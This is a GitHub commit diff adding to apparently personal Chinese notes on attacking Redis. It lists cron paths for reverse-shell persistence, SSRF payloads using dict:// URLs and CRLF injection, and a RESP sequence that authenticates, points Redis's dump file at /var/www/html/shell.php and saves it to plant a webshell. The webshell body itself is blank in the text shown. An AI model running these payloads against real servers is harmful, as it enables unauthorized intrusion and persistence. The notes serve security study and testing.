Skip to content

Commit f687285

Browse files
authored
Update redis.md
1 parent 7c0230b commit f687285

File tree

1 file changed

+60
-2
lines changed

1 file changed

+60
-2
lines changed

redis.md

Lines changed: 60 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -58,7 +58,14 @@ save
5858

5959

6060

61-
tips:**crontab反弹debian,ubuntu都不行**,因为他们对计划任务的格式很严格,必须要执行 `crontab -u root /var/spool/cron/crontabs/root` 通过语法检查后,才能执行计划任务。
61+
tips:**crontab反弹debian,ubuntu都不行**,因为他们对计划任务的格式很严格,必须要执行 `crontab -u root /var/spool/cron/crontabs/root` 通过语法检查后,才能执行计划任务。
62+
63+
最后补充一下,可进行利用的cron有如下几个地方:
64+
65+
- /etc/crontab 这个是肯定的
66+
- /etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
67+
- /var/spool/cron/root centos系统下root用户的cron文件
68+
- /var/spool/cron/crontabs/root debian系统下root用户的cron文件
6269

6370

6471

@@ -160,7 +167,8 @@ https://github.com/learner-ing/redis-rce
160167

161168
# Other
162169

163-
ssrf 攻击redis
170+
## ssrf 攻击未授权访问redis
171+
164172
```
165173
# 清空 key
166174
dict://172.72.23.27:6379/flushall
@@ -179,6 +187,54 @@ dict://172.72.23.27:6379/save
179187
180188
```
181189

190+
如果是Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。见ref
191+
192+
193+
194+
## ssrf 攻击需要验证redis
195+
可以看到每行都是以\r结尾的,但是 Redis 的协议是以 CRLF (\r\n)结尾,所以转换的时候需要把\r转换为\r\n,然后其他全部进行 两次 URL 编码
196+
```
197+
*2\r
198+
$4\r
199+
auth\r
200+
$8\r
201+
P@ssw0rd\r
202+
*1\r
203+
$8\r
204+
flushall\r
205+
*4\r
206+
$6\r
207+
config\r
208+
$3\r
209+
set\r
210+
$3\r
211+
dir\r
212+
$13\r
213+
/var/www/html\r
214+
*4\r
215+
$6\r
216+
config\r
217+
$3\r
218+
set\r
219+
$10\r
220+
dbfilename\r
221+
$9\r
222+
shell.php\r
223+
*3\r
224+
$3\r
225+
set\r
226+
$1\r
227+
x\r
228+
$25\r
229+
230+
231+
\r
232+
*1\r
233+
$4\r
234+
save\r
235+
236+
```
237+
182238

183239

184240

@@ -188,3 +244,5 @@ dict://172.72.23.27:6379/save
188244
# References
189245
- https://djhons.com/2021/10/29/61.html
190246
- https://www.anquanke.com/post/id/214108
247+
- https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf
248+
- https://www.sqlsec.com/2021/05/ssrf.html#toc-heading-25

0 commit comments

Comments
 (0)